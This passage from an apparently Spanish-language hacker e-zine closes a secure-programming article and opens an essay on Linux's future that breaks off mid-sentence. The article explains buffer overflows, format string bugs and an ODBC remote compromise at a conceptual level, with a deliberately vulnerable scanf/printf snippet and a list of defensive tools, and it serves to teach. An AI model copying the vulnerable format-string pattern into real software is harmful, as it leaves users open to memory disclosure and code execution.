  archivo a ser usado y redireccionarlo para sobreescribir un archivo
  sensible, predecir identificadores de sesion, etc.)

  Resultados esperados:

  * Patron del uso de recursos.

  Tareas a realizar: Monitoreo del sistema: por cada clase de recurso (CPU,
                     memoria, etc.)

  * Analisis de uso de recursos: Buscar patrones en el uso de recursos.

  Trabajo sobre el codigo:

  * Identificar los segmentos de codigo que manejan cada dato entrante y su
    validacion.
  * Arreglar el codigo.


  [ Prevencion de ataques ]
 
  Cuando se procesan los datos obtenidos tendemos a creer que los datos
  disponibles son seguros, pero ... pasaron los datos por los controles de
  seguridad si el programa no es ejecutado bajo el ambiente especifico para
  el que fue programado? Que ocurre si un atacante encontro la forma de
  ejecutar el modulo de procesamiento pasando por alto estos controles?.

  Algunos programas hacen pruebas adicionales tales como de funcionamiento
  en el ambiente indicado y modificacion del codigo.

  Resultados esperados:

  Respuesta detallada del sistema bajo condiciones anomales de
  funcionamiento.

  Tareas a realizar: Ejecucion del sistema:

  * Usar puntos de entrada al sistema distintos de los especificados.
  * Inyeccion y modificacion del codigo.
  * Modificando las condiciones de funcinamiento.

  Trabajo sobre el codigo:

  * Identificar los segmentos de codigo que manejan cada dato entrante y su
    validacion.
  * Arreglar el codigo.

  La primera forma de reparacion que se nos viene a la mente es la de
  incluir un codigo similar al de validacion de datos de entrada, pero esta
  tarea esta reservada a los modulos de verificacion de datos, por lo que
  esta tarea no debe ser duplicada. La tarea a ser llevada a cabo es
  distinta: deteccion de condiciones de ejecucion anormales y no la de
  deteccion de datos impropios.


  [ Salida ]

  Todos los datos de entrada estan filtrados, se tomaron precauciones sobre
  el uso de recursos pero ... no es suficiente. Que tal el decirle a sus
  competidores la clave del exito ?? A veces no es tan drastico, pero el
  darle algunas pistas es solo una cuestion d tiempo para obtener la
  informacion completa.

  Algo debe tenerse en cuenta, y es que algunos errores pueden ser vistos
  como errores de proceso porque producen informacion sutil, producto de una
  salida no esperada (espurea). Lo que se trata de mostrar es el pasaje de
  informacion en los cabales normales de salida, tales como tags de HTML
  ocultos, errores que pueden dar informacion sobre la estructura interna,
  y problemas por el estilo.


  [ Niveles de autorizacion de los datos ]

  Este concepto es muy claro en el uso militar. En forma resumida, se tienen
  categorias (ultra secreto, secreto, publico, etc.) que marcan cada objeto
  (informacion, gente, etc.) y una persona puede acceder cualquier recurso
  marcado con el mismo o menor nivel que el suyo propio (por ejemplo, una
  persona con nivel "secreto" puede acceder recursos marcados como "secreto"
  y "publico" pero no los marcados "ultra secretos"). Ademas de esto, un
  recurso tiene el mismo nivel que cualquiera de los objetos que contiene
  (por ejemplo, un documento que contiene datos marcados como "publico" y
  "secreto" es clasificado como "secreto"; si se agrega una parte "ultra
  secreta" se convierte en un documento "ultra secreto"). Lo mismo se aplica
  a los canales de comunicacion, no se puede transmitir un documento "ultra
  secreto" a traves de un canal "secreto" (el canal tiene menos mecanismos
  de proteccion que los que el documento puede aceptar).

  Este mismo concepto deberia ser aplicado aqui.

  Expected results: 

  Clearance levels for each output object (data, persons, channels, etc.) 

  Tareas a realizar:

  * Identificaion de los segmentos de codigo que realizan la salida de datos.
  * Claisificacion del sujeto al que esta destinada la salida.
  * Clasificacion de los datos de salida,
  * Clasificacion de los datos a enviar por la salida.

  Trabajo sobre el codigo:

  * Marcado de los datos con niveles de autorizacion.
  * Arreglar el codigo.

  A veces se necesita brindar una buena cantidad de informacion, y no
  siempres una buena practica, y la misma contiene los errores que nos da el
  sistema operativo tales como nombre de archivos, que pueden dar alguna
  pista a personas cuya intencion es no brindarla.

  Un claro ejemplo de esto son los web servers. Un server MS IIS (Internet
  Information Server) instalado out-of-the-box muestra un mensaje de error
  indicando que la pagina no existe y mostrando la supuesta ruta de acceso
  (file path) al archivo (en caso que este no exista) o la salida de un
  script en caso de error (que puede contener estructuras internas de datos
  o informacion de debugging cuya divulgacion no es deseable). Su
  contrapartida (Apache) muestra un mensaje indicando que ha ocurrido un
  error, el administrador sera notificado y la informacion mas jugosa es
  almacenada en el archivo error_log.


  [ Apendice A - Errores mas frecuentes ]

  En esta seccion las fallas seran mostradas, a veces en detalle y otras
  solo una idea de las mismas, mayormente en el caso donde hay estudios o
  papers que las discuten.

  No se pretende que esta sea una lista exhaustiva de fallas, sino las mas
  frecuentes y representativas, para poder brindar una guia en cuanto a
  informacion, herramientas y resultados que pueden encontrarse.


  [ Stack Smashing ]

  En esta version en espa~ol se ha decidido mantener el nombre en ingles
  debido a que su traduccion no es muy utilizada y hay mas de una acepcion
  del mismo. Tambien se la conoce como "buffer overflow".

  Sera descripta muy brevemente, porque hay muy buenos articulos que las
  describen (ver [5] y [6]). Cuando se definen dos variables en un lenguaje
  de alto nivel y estan adyacentes en el codigo fuentes, hay una muy alta
  probabilidad que usen areas de memoria adyacentes. Por esto si se escribe
  una de estas y se sobrepasan sus limites, entonces se esta escribiendo en
  el area de memoria perteneceiente a la otra. Si la primera tiene 30 bytes,
  cuando se accede al byte 31 es en realida el primer byte de la segunda
  variable.

  No parece ser de mucho uso, pero hagamos una peque~a investigacion. Cuando
  se usa un lenguaje de alto nivel mayormente usa subrutinas (tambien
  llamadas funciones, procedimientos, etc.) que usan sus propias variables
  locales. Es practica comun que los compiladores usan una porcion de
  memoria, llamada stack, donde es almacenada la direccion de la proxima
  instruccion a ser ejecutada, llamada direccion de retorno, cuando la
  subrutina termina, y tambien se almacenan alli las variables locales. Lo
  que podemos hacer es utilizar esta localidad porque si accedemos las
  variables locales podemos ir mas alla de sus limites y acceder la
  direccion de retorno. No se puede hacer magia para adivinar esta
  direccion, pero si podemos inyectar una nueva pieza de codigo y apuntar
  la direccon de retorno a este podemos hacer que al terminar ejecute
  nuestro codigo en lugar del original.

  Esto puede evitarse usando algunos trucos tales como insertar algunas
  pruebas de integridad para la direccion de retorno. Esto tambien puede ser
  evitado, pero hay menos probabilidades de ocurrencia de ataques. Un muy
  buen articulo sobre esto puede ser leido en [7].


  [ Format String Bug ]

  Hay funciones y funciones ... algunas mas flexibles que otras, pero ... la
  flexibilidad tiene sus costos y limitaciones, y una de ellas es la
  seguridad. hay un conjunto de funciones en C (la familia de los printf)
  que uno de los parametros es un string conteniendo el formato, y orden, en
  que los parametros seran pasados a la funcion. Por ejemplo, la siguiente
  llamada a la funcion:

printf( "Hola, %s. Nos ha visitado %u veces", nombre, contador );

  nos dice que los parametros son tres (el string y las variables nombre y
  contador), y la informacion relativa a la cantidad y tipo de parametros
  puede leerse del primer parametro (tambien llamado "format string"): un
  string (%s) y un entero sin signo (%u).

  Ahora que este "format string" se encuentra como constante en la
  aplicacion, que hay acerca de darle elcontrol de este string al mundo
  exterior ?? Tomemos la siguiente porcion de codigo :

scanf( "%s", *format_string );
printf( format_string, name, counter );

  donde format_string es provista por un usuario no verificado y/o no
  confiable (a traves de la funcion scanf). Esto le podria permitir ver
  alguna informacion interna, muy util para obtener datos y explotarlos
  posteriormente (tales como un "stack smashing" o "buffer overflow") a
  traves de la manipulacion del string, tales como el cambio de %s o %u por
  una forma mas conveniente de ver la informacion de memoria (por ejemplo,
  usando un contador hexadecimal y declararlo en el format_string que es un
  puntero a un string o un char). Para una completa descripcion, y ejemplos
  "in the wild", ver la referencia [10].


  [ Compromiso remoto ]

  Este ataque combina dos errores muy usuales: ausencia de filtrado (o
  filtrado defectuoso) y ejecucion de un programa con privilegios excesivos.

  A continuacion se muestra un breve resumen extraido del aviso de seguridad
  indicado en [11]:

  "El motor de base de datos MS Jet (que permite acceder a bases Access)
  permite la inclusion el embeber expresiones de VBA en sus comandos, lo que
  permite ejecutar comandos de Windows NT. Esto, combinado con un error en
  IIS ejecutando comandos de ODBC como el usuario system_local permite a un
  atacante remoto poseer un control total del sistema. Otros web servers
  pueden ser afectados. Muchos motores de MS Jet son afectados, pero pueden
  no conducir a la elevacion de privilegios"

  Basicamente se puede embeber comandos VBA (Visual Basic for Applications)
  dentro de una sentencia de SQL y dejar que ODBC los ejecute (filtrado
  inadecuado), tales como comandos del sistema a traves de un interprete de
  comandos (shell). Esto puede minimizarse si es ejecutado con un usuario
  que tiene privilegios minimos para ejecutar esta tarea en una forma
  eficiente. Este no era el caso.

  No se haran mas explicaicones. El aviso de seguridad mencionado es una
  obra maestra que merece ser leida en detalle.


  [ Retencion de recursos ]

  Cuando se inicia una conexion de TCP la maquina de estados establece que
  deben seguirse tres pasos:

  * Requerir la conexion al extremo remoto.
  * El extremo remoto responde con una aceptacion (acknowledge), o la conexion
    se rechaza.
  * El extremo local responde con un acknowledge.

  Debido a la simplicidad de su mecanismo no posee un control para evitar la contencion de recursos. Supongamos que cuando su computadora requiere una conexion a la computadora remota se cuelga, entonces el acknowledge sera enviado pero la computadora local no lo recibira, por lo que la computadora remota espera hasta que cierto time-out se cumpla y considera la conexion como cerrada. debido a que TCP/IP fue dise~ado para trabajar sobre vinculos no confiables y de alta latencia, este esperara durante mucho tiempo hasta que considere la conexion cerrada (o fallida). Esto usa recursos en la computadora remota (mayormente CPU y memoria) que pueden ser reducidos a su minima expresion si muchas conexiones permanecen en este estado.

  Un reporte muy completo puede encontrarse en el CERT, en la referencia
  [12].


  [ Apendice B - Herramientas ]

  Que vuele a su mente cuando se dice herramientas. Si la respuesta es
  "programas para reforzar la programacion segura" es mas o menos correcto,
  solamente si, no significa solo listas para usar. Se debe estar preparado
  para algun tipo de trabajo interno o la adaptacion de algun que otro
  programa a sus necesidades.

         
  [ Logging extensivo ]

  Despues de todos estos problemas a ser resueltos algo debe estar claro, y
  es que a pesar de todo el esfuerzo los programas no son perfectos, y las
  imperfecciones puede y, seguramente, van a aparecer. Para descubrir estos
  problemas deben usarse las herramientas apropiadas tales como debuggers y
  analizadores de dump, pero a veces no son los suficientemente utiles,
  particularmente cuando no se sabe por donde comenzar la busqueda.

  Recuerdan el cuento de "Hansel y Gretel" ? Iban tirando migas de pan
  durante su camino, y asi podian volver mas tarde. Nostros usaremos el
  mismo truco, dejaremos una marca de cada pedazo de codigo que es ejecutado
  junto con los datos mas importantes durante un ataque (o una simple falla),
  tal que se puedan rehacer los pasos seguidos.

  FIX ME: What should and shouldn't (DoS attacks, special chars, passwords,
          ...)


  [ Listos para usar ]

  Esto es una simple lista de las herramientas conocidas para asegurar la
  programacion segura, siendo los predilectos los del tipo Open Source.

  Nombre: RATS (Rough Auditing Tool for Security)
  Resumen: Es una herramienta de seguridad para C y C++ que hace una
           busqueda sobre el codigo fuente, buscando llamadas a funciones
           potencialmente peligrosas.
  Licencia: Version 2 de la Licencia Publica GNU (GPL - GNU Public License).
  Link: http://www.securesw.com/rats/

  Nombre: Flawfinder 
  Resumen: examina el codigo fuente buscando vulnerabilidades en el codigo C
           o C++.
  Licencia: Licencia Publica GNU (GPL - GNU Public License). 
  Link:  http://www.dwheeler.com/flawfinder/ 

  Nombre:  ITS4 
  Resumen: Es una herramienta simple que busca en el codigo fuente C o C++,
           en forma estadistica, por potenciales vulnerabilidades de
           seguridad.
  Licencia:  ITS4 NO-COMMERCIAL para el codigo fuente.
  Link:  http://www.cigital.com/its4

  Nombre:  LCLint
  Resumen:  Prueba estadistica de programas en C.
  Licencia:  Licencia Publica GNU (GPL - GNU Public License).
  Link:  http://lclint.cs.virginia.edu/

  Nombre:  StackGuard
  Resumen: StackGuard es un compilador que genera programas mas resistentes
           a los ataques del tipo "stack smashing" o "buffer overflow".
  Licencia: StackGuard es Free Software: es una mejora a GCC y se distribuye
            bajo licencia GPL enforma def uentes y binarios.
  Link:  http://www.immunix.org/stackguard.html

  Nombre: FormatGuard
  Resumen: FormatGuard protege programas C y C++ contra el "format bug",
           mayormente usado en la familia de funciones printf.
  Licencia: FormatGuard es Free Software: es una mejora a GCC y se
            distribuye bajo licencia GPL enforma de fuentes y binarios.
  Link: http://www.immunix.org/formatguard.html

  Nombre: RSX
  Resumen: RSX es un extensor del espacio de direcciones en tiempo de
           ejecucion (Runtime addressSpace eXtender) que provee reubicacion
           de codigo en tiempo de ejecucion para binarios Linux, que
           implementa un stack no ejecutable y areas de heap peque~as y
           grandes. ataca el problema de "buffer overflow" previeniendo que
           se ejecute codigo en las areas reubicadas (definidas de solo
           lectura).
  Licencia:  Licencia propietaria que incluye los fuentes 
  Link:   http://freshmeat.net/projects/rsx 

  Nombre:  PageExec 
  Resumen: Implementacion de paginas no ejecutables para procesadores IA-32.
  Licencia: Desconocida.
  Link: http://pageexec.virtualave.net/ 

  Nombre: Libsafe 
  Resumen: Permite evitar los "buffer overflow" y "format string",
           empaquetado en forma de biblioteca (library) que intercepta las
           llamadas conocidas como vulnerables.
  Licencia: Libsafe version 2.0 (codigo fuente) es licenciado pajo la
            licencia GNU Lesser.
  Link: http://www.avayalabs.com/project/libsafe/index.html



  [ Apendice C - Fallas ]

  Una vez que hemos navegado a la vieja usanza, cerca de la costa,
  necesitamos trazar un mapa mas detallado. Es mi preferencia personal ir de
  lo generico hacia lo particular, asi que comencemos.

  [ Datos entrantes ]

  Comencemos con lo basico sobre programas o manipulacion de la informacion.
  El esuqema tipico es obtener datos, procesarla (tranformarla) y ofrecer
  los resultados: entrada-proceso-salida.

                              .-----------.
                              |           |
                    INPUT --->|  PROCESS  |---> OUTPUT
                              |           |
                              '-----------'

  No es gran cosa, pero para evitar funcionamientos incorrectos y efectos
  colaterales (algunos relacionados con las dependencias del sistema) deben
  ser filtrados para obtener los datos apropiados.

  Supongamos que lidiamos con un sistema bancario donde debe ingresarse un
  numero de cuenta y que debe obtenerse el balance de la cuenta, entonces la
  entrada (numero de cuenta) debe tener un formato determinado (digamos tres
  numeros, cinco letras y ocho numeros), los que deben ser validados
  (probados contra una plantilla) y revisados (rechazarlo si el formato no
  es el apropiado o si la cuenat no existe).

  En este ejemplo las opciones del formato de la cuenta son realmente
  simples, solo no puede darse el balance de una cuenta si esta no existe,
  pero hay problemas mas sutiles (que se mostraran mas adelante) que no son
  del tipo funcional. Puede tomarse esta regla: todo lo que no sea usado
  debe ser evitado.

  Hay muchas formas de hacerlo, y cada una depende de los objetivos de cada
  sistema:

  * Finalizacion anormal: esta es la mas radical; en caso de deteccion de
                          una dato no valido el sistema interpreta que esta
                          bajo ataque (alguien buscando formatos de datos
                          impropios) y finaliza.
  * Rechazo: a mitad de camino, cuando un dato no valido es detectado se
             pregunta nuevamente por el mismo. esto tiene una ventaja para
             una atacante, y es que puede preguntarse una cantidad ilimitada
             de veces hasta que un dato valido es detectado.
  * Utilizable: las partes impropias son quitadas y solo lo que coincide con
    el formato apropiado es usado. Tipicamente se usa para datos de longitud
    variable tales como direcciones de e-mail, URLs y direcciones postales.

  Un lenguaje de programacion que tiene capacidades para la programacion
  segura es Perl. Puede ser ejecutado utilizando el "tainted mode" donde,
  esencialmente, cada dato obtenido desde el mundo exterior es marcado como
  "sucio" y no puede ser usado hasta que sea limpiado. Normalmente la
  maquina lavadora para estos "datos sucios" esta hecha de filtros, y si
  estos datos son usados sin lavar Perl interrumpe su ejecucion (para una
  explicacion mas profunda ver la referencia [4]).


  [ Procesamiento (La caja de Pandora) ]

  A veces se tiene mucho cuidado sobre los datos obtenidos pero, odio
  decirlo, no es suficiente. Porque no somos perfectos y cometemos errores
  debemos proteger al programa, y el sistema, de nosotros. Recordemos que en
  cualquier programa hay muchos factores a tener en cuenta (es tan cierto
  que en el analisis de confiabilidad de software el comportamiento de los
  programas se estudian en forma estadistica) y no todos ellos pueden ser
  tomados en cuenta a la vez, por lo que la posibilidad de introducir errores
  es realmente alta (esta probabilidad decrece a medida que el programa es
  probado y arreglado con el correr del tiempo).

  No es fuera de lo comun que en todas las empresas e software bien
  establecidas el uso de ambientes de prueba, ejecucion, etc. queb simulan
  las condiciones de campo (ejecucuion en su destino final) y ejecutandolo
  en una ambiente protegido, donde este falle, arroje errores, o lo que se
  le ocurra. Lo mismo ocurre en su destino final, es ejecutado con mucha
  precacucion hasta que se ejecuta como un proceso productivo, siendo su
  monitoreo un proceso critico en las primeras semanas.

  La mayoria de los lenguajes modernos de programacion como C++, Java, Perl
  y Phyton contienen mecanismos de proteccion. Basicamente se ejecutan
  partes del codigo en un ambiente protegido, y se atrapa cualquie error
  (o excepcion) que pueda ser generado por el programa.

  Por ejemplo, se puede rodear al codigo con un bloque que lo aisle de su
  ambiente en caso de falla, y devuelva el control a una porcion de codigo
  que maneje este error:

  try() {
    Code_under_suspicion();
  } catch (Exception e) {
      System.println "Code_under_suspicion(), 
      Exception generated : " + e;            
    }
        
  Ahora supongamos que estamos desarrollando una serie de programas de uso
  critico, como para medicina, aeronautica, etc. donde deben continuar
  corriendo aun en condiciones de falla. Imaginemos que durante su vuelo, el
  programa que sigue la ruta hacia el aeropuerto envia el siguiente mensaje
  a la consola :

  "Excepcion en 0x3F745DE9. El sistema esta siendo bajado."
       
  Estos programas estan hechos con estas situaciones en mente, y deben
  proseguir su ejecucion aun bajo condiciones especiales (digamos que se
  aisla el codigo que causo el problema, realiza algun tipo de prueba sobre
  el hardware y software, etc.)

  Para leer una muy buena revision sobre excepciones aplicado a Java, ver la
  referencia [8].

  A veces no es una buena opcion hacerlo de esta forma, pero el colocar
  algunas vallas de contencion alrededor del programa suele ser un poco mas
  facil: no se requiere programacion extra, ni recompilacion para su
  activacion. Para este casoe pueden usarse una serie de herramientas
  standard tales como dump analyzers (analisis post-mortem) o debuggers
  que envuelven al programa, y cuando se produce un error este es atrapado
  y manejado por el debugger. Estos pueden imprimir la situacion del stack,
  contenidos de variables, u ofrecer al programador/operador un interprete
  de comandos (shell) que permita la inspeccion del programa, su reinicio,
  dumping, etc.


  [ Salida de datos ]

  Y hablando de efectos laterales, tiene en mente que su salida es la fuente
  de entrada de otro proceso? O aun peor ... que hay acerca de la basura
  que se genera?.

  Comencemos por el principio. El mismo problema que tenemos con nuestros
  datos de entrada se transfiere al proceso que manejara nuestros datos de
  salida y los procesara. Este proceso no manejara datos en crudo porque
  nuestro programa/sistema actuara como filtro, pero asimismo puede generar
  problemas (no a porposito, por supuesto) que pueden da~ar un buen trabajo.

  Tomemos un ejemplo donde se procesan una serie de datos y, como parte del
  proceso de salida, se genera un archivo. Todo parece estar correcto, todo
  esta en las especificaciones y estamos siguiendo las reglas del juego.

  Seguro?. Si, por ejemplo, generamos un archivo con un nombre fijo, digamos
  output.data, sencillamente :

  filehandle = open( "output.data", w );
  write( filehandle, data );
  close( filehandle );

  Seguramente se habran agregado algunas precauciones sobre la existencia
  del archivo, preguntar al operador si el archivo puede ser borrado en caso
  que ya exista, hacer un backup, y todo ese tipo de cosas, pero ... que
  ocurre si la infraestructura en la que nos basamos fue comprometida y no
  estamos escribiendo el archivo que realmente pensamos? Hay un "acceso
  limpio" al archivo?

  Ademas, como seguramente sabra, una fuente importante de informacion son
  el analisis y recoleccion de los contenedores de basura (despues de todo
  por esto existen los trituradores de papel). El ejemplo mas claro de esto
  es la respuesta a la pregunta "donde envia usted sus mensajes de
  advertencia y error ?". Seguramente habra notado que en algunos web
  servers cuando ocurre un error, tales como una pagina no encontrada o
  una falla en un CGI, el error se envia al browser, y mensajes como el
  siguiente aparecen:

  The requested CGI program in '/home/httpd/cgi-bin/script' failed to
  execute. The next lines contain the error:

  Couldn't connect to database 'Customers' in server 'internal_db'.
  Send a message to hostmaster@this_domain.com <mailto:hostmaster@this_domain.com>

  Que fuente de informacion excelente!!! Esto DEBERIA redirigirse al log de
  errores o hacia algun otro lado donde pueda ser leido por el
  administrador/operador. Despues de todo esto no tiene sentido para la
  mayoria de los usuarios y esa una muy buena fuente de informacion para los
  crackers. No lo cree asi? La parte de triste de la historia es que la
  mayoria de los web servers estan configurados en forma insegura
  out-of-the-box.


  [ Apendice D - Links ]

  [1] Titulo: Secure Programming for Linux and Unix HOWTO
  Autor: David A. Wheeler
  Ubicacion: http://www.dwheeler.com/secure-programs

  [2] Titulo: Why Computers are Insecure
  Autor: Bruce Shneier
  Ubicacion: http://www.counterpane.com/crypto-gram-9911.html#WhyComputersareInsecure

  [3] Titulo: No silver bullet
  Autor: Frederick P. Brooks, Jr.
  Ubicacion: http://www.undergrad.math.uwaterloo.ca/~cs212/resource/Articles/SilverBullet.html

  [4] Titulo: Perl security
  Ubicacion: http://www.perl.com/pub/doc/manual/html/pod/perlsec.html

  [5] Titulo: Smashing The Stack For Fun And Profit
  Tutor: Aleph One
  Ubicacion: http://www.phrack.com/search.phtml?view&article=p49-14

  [6] Titulo: Avoiding security holes when developing an application
  Autor: Frederic Raynal, Christophe Blaess, Christophe Grenier
  Ubicacion: http://www.linuxfocus.org/English/March2001/article183.meta.shtml

  [7] Titulo: Bypassing StackGuard and StackShield
  Autor: Bulba and Kil3r
  Ubicacion: http://www.phrack.com/search.phtml?view&article=p56-5

  [8] Titulo: What's an Exception and Why Do I Care?
  Autor: Sun Microsystems
  Ubicacion: http://java.sun.com/docs/books/tutorial/essential/exceptions/definition.html

  [9] Titulo: SECPROG@SecurityFocus.com working document
  Autor: Secure Programming list contributors
  Ubicacion: http://www.securityfocus.com/forums/secprog/secure-programming.html

  [10] Titulo: Analysis of format string bugs
  Autor: Andreas Thuemmel
  Ubicacion: http://www.securityfocus.com:80/data/library/format-bug-analysis.pdf

  [11] Titulo: NT ODBC Remote Compromise
  Autor: Matthew Astley & Rain Forest Puppy
  Ubicacion: http://www.securityfocus.com/archive/1/13882

  [12] Titulo: CERT Advisory CA-1996-21 TCP SYN Flooding and IP Spoofing Attacks
  Autor: CERT
  Ubicacion: http://www.cert.org/advisories/CA-1996-21.html

  
  -- Victor A. Rodriguez (Bit-Man) 
     victor@bit-man.com.ar
     http://www.ideahanster.org
     

<EOF
>

-[ 4x09.txt ]----------------------------------------------------------------
-[ El Futuro de Linux ]--------------------------------------[ M3T4LK1LL3R ]-
----------------------------------------------------[ METALKILLER@terra.es
 ]-


  La comunidad informatica mundial cuenta hoy en dia con una gran diversidad
  de Sistemas Operativos, producto de la evolucion que se ha desarrollado en
  torno al uso de estos para el manejo y gestion de los equipos.

  Muchos de estos, se caracterizan por tener propiedades similares y otras
  totalmente opuestas, que les atribuyen la predileccion o rechazo por parte
  de los usuarios. Desde el surgimiento del DOS hasta la introduccion de
  interfaces graficas que se logro difundir con Windows 3.1, se abrio una
  nueva era en la informatica en lo que a Software se refiere. Se debe
  destacar que Windows nunca fue el primer S.O. que implanto una GUI (Siglas
  en ingles de Interfaz grafica del usuario), mucho antes existia el Mac OS
  - el sistema operativo del antiguo Macintosh de Apple - pero existia la
  limitante de que este trabajaba en una plataforma mucho mas reducida que
  la que destinaba Windows. Tambien existia UNIX con un sistema propio de
  Intefaz Grafica popularmente conocida como X Window. Si bien, Unix no era
  un S.O. dirigido a un usuario normal de computadoras, lo era para grandes
  servidores y mainframes.

  En fin, existian una infinidad de S.O. que utilizaban GUI's y otros que no
  lo hacian, pero con el tiempo y por evolucion propia necesitaron implantar.

  Con la evolucion de los Sistemas Operativos surgio una situacion de dos
  variables, el surgimiento de nuevos sistemas y la desaparicion o
  disminucion de otros, que como en la carrera espacial produjo la carrera
  de los S.O; Asi surgio Linux, al igual que otros como BeOS, OpenBSD,
  Freedows... aprovecharon las vulnerabilidades y deficiencias del Windows
  para ganar adeptos en la comunidad informatica.

  Desde su nacimiento, y gracias a otro factor importante como Internet,
  Linux acaparo la atencion de muchos que desinteresadamente colaboraron en
  el desarrollo de diversas aplicaciones que formaron parte de su evolucion.

  Asi, Linux comenzo a crecer lentamente en sus primeros a~os, luego su auge
  fue mayor con la polemica que surgio en torno a todos los productos
  Microsoft y sus dos S.O. lideres en ese entonces: Windows 95 y Windows NT.

  Los problemas de seguridad de estos, las enormes fallas y vulnerabilidades
  y las continuas actualizaciones que debian costear los usuarios por una
  supuesta mejora en sus rendimientos, genero un descontento y reflexion en
  muchos usuarios que comenzaron a ver en Linux una forma mas segura de
  gestionar sus equipos. Prontamente, Linux logro competir con su contendor
  mas cercano: Windows NT, y ha alcanzado en ciertas ocasiones superar o
  igualar al entonces supuesto lider: Windows 98 durante su lanzamiento (por
  poner un ejemplo: Japon y el caso de TurboLinux ). De esta forma las
  empresas de software y hardware reaccionaron y establecieron nuevos
  parametros en la creacion de sus productos.

  A la hora de crear un nuevo programa o aplicacion tuvieron la necesidad de
  _portarlo_ tambien para el nuevo Sistema Operativo y algunas mas
  conservadoras que se negaban hacerlo vieron grandes perdidas y
  desprestigios porque la gran comunidad que desarrolla y apoya a Linux
  lleno ese espacio vacio. Asi, muchas empresas que se cerraron al mundo de
  Linux en el principio, empezaron lentamente a cambiar susideologias.
  Grandes empresas como Intel, IBM, Sun Microsystems, Corel, Borland, etc.,
  son hoy en dia los grandes inversionistas de Linux, que a pesar de
  confrontar el obstaculo del _Software Libre_ han visto como grandes
  empresas, Pymes, microempresas e incluso hasta gobiernos han migrado al
  nuevo S.O. y esto requiere el soporte tecnico que estas pueden dar, de
  esta manera han creado una forma rentable de apoyar a Linux e igualmente
  dentener el monopolio que posee Microsoft. De igual forma, surgieron las
  empresas distribuidoras del nuevo Sistema Operativo tales como: Red Hat,
  Caldera, Corel... que fabrican y distribuyen una _version_propia_de_Linux_
  con el concepto del Software Libre pero igualmente cobran los servicios
  de Soporte y venta del Sistema y redistribuidoras como Conectiva, EsWare,
  Turbolinux... que fabrican productos basados en las anteriores y ocupan
  un mercado mas peque~o (los mercados regionales) ofreciendo los mismos
  servicios de las anteriores.

  Aparte del ya naciente _lado_comercial_ de Linux existe, desde su origen
  el _lado_no_comercial_ encabezado por su creador: Linus Torvalds al igual
  que Alan Cox y los desarrolladores independientes tradicionales de Linux
  quienes aportaron casi la mayor parte del trabajo en su creacion.
  Pero, a su vez, surgieron otras empresas dedicadas a desarrollar las
  aplicaciones y diversas utilidades que incluyen los distribuidores como
  la de entornos graficos (Kde y Gnome), dos empresas que marcaron una
  competencia por lograr el entorno preferido por el usuario, y esto comenzo
  a ser el principio del principal problema que se le ha atribuido a Linux:
  la incompatibilidad existente entre las distribuciones y sus aplicaciones.

  Y aunque hoy en dia estos problemas de incompatibiladad en los entornos ya
  han sido resueltos hay muchos otros que no lo han sido. Este inconveniente,
  la pluralidad y diversidad de opciones y versiones que rodean a Linux ha
  sido un tema de critica de muchos, que incluso han comenzado a ver en este
  algo parecido con lo que paso con Windows. Es decir, que las empresas que
  comercian Linux han descuidado los principios fundamentales de su creacion
  y han comenzado a detectarse vulnerabilidades en las distribuciones
  comerciales, esto es, inseguridad en el sistema.

  Muchos ya predicen el futuro de Linux: un sistema operativo de Licencia
  Publica Libre destrozado por los comerciantes que descuidaron su seguridad
  y confiabilidad, incluso han comenzado a analizar otros S.O. que segun las
  estadisticas prevalecen como los que ofrecen mayor seguridad como OpenBSD,
  Solaris, Irix, OS/2,... En este punto existen dos situaciones muy
  diferentes: porque por un lado a Windows se le atribuyen miles de defectos
  relativos a la seguridad, rendimiento, monopolio, etc,... pero es un
  producto proveniente de una sola empresa matriz fabricante Microsoft; pero
  con Linux la situacion es distinta porque sus vulnerabilidades se deben a
  las diferencias que por logica deben existir entre las distintas versiones
  fabricadas, por las numerosas empresas que lo distribuyen en todo el mundo;
  diferencias que se han logrado solucionar en muchos casos y en otros se
  estudiando nuevas formas para erradicar estos problemas.

  En estos tiempos, que esta muy de moda crear distribuciones propias de
  Linux por parte de muchas empresas y/o grupos de especialistas en
  Informatica es importante cuidar los aspectos de seguridad, compatibilidad,
  estabilidad, rendimiento y todas las virtudes que posee. Esto de crear
  nuevas distribuciones es beneficioso para la divulgacion y expansion del
  S.O. y ademas es algo corriente y legal basado en la Licencia Publica con
  la cual fue concebido, pero a la hora de hacerlo, es importante mantener
  los elementos propios que lo caracterizan, de este modo se evitaran nuevas
  vulnerabilidades, incompatibilidades y desventajas que en vez de apoyar su
  arraigo, lo desprestigian.

  Es preciso que toda la Comunidad Linux y principalmente las empresas
  fabricantes de distribuciones estudien la forma mas rapida y eficaz de
  _estandarizar_ a Linux, para eliminar sus puntos debiles y hacerlo
  prevalecer en el futuro, porque si es cierto que gracias a las
  distribuidoras, Linux ha crecido rapidamente en estos ultimos a~os,
  tambien es cierto que se han generado como producto de ello muchas fallas
  y discrepancias a su alrededor.

  Tambien hay que mencionar que los terminos de seguridad en un sistema son
  polemicos, mucho mas aun cuando es un sistema densamente utilizado por
  expertos en seguridad informatica en cuyo trabajo determinan si este es
  realmente seguro y esta propenso a fallas que pueden ser utilizadas para
  vulnerar privilegios. Es decir, un sistema es seguro dependiendo de la
  influencia que ejerce en el mundo informatico.

  Actualmente, Linux ocupa un espacio importante en el escenario informatico,
  ejerciendo una influencia constantemente renovadora a traves de su
  ideologia y funcionalidad. Es primordial evitar que se convierta en un
  S.O. inerte y carente de avances. Debe seguir evolucionando, que continue
  ejerciendo presion sobre la poderosa accion que ha mantenido Microsoft, no
  solo con sus sistemas operativos y programas, sino tambien en los campos
  en donde ha comenzado a implantar su monopolio: Internet, las consolas de
  videojuegos, telefonia movil e incluso hasta la forma de vivir en las
  personas con su _Casa_Inteligente_ y otros proyectos de mayor envergadura.

  Ya se puede observar su desesperado intento de lanzar un nuevo S.O. cada
  a~o prometiendo revolucionar la historia y crear una nueva era en la
  Informatica, al parecer no le ha funcionado, quizas porque muchos ya
  conocen su juego (Monopolio).

  En conclusion, es momento de reflexionar para buscar un modelo unico que
  se pueda adaptar a Linux para que se convierta en un _Sistema_Operativo_
  Estandar_ que sea seguro, eficiente, con un alto rendimiento y que sea
  viable economicamente para que muchas empresas que lo han apoyado y lo
  apoyaran, asi como muchos usuarios que buscan un S.O. lider en vanguardia
  que apoye las nuevas tecnologias asi como la idelogia de Software Libre
  ratifiquen el liderazgo de Linux en el mundo informatico. El futuro de
  Linux es prometedor, por ello es necesario mantener el valor y la calidad
  que en este momento posee, incluso mejorarlo para asegurar en los proximos
  a¤os y decadas la presencia de un S.O. innovador en los hogares, colegios,
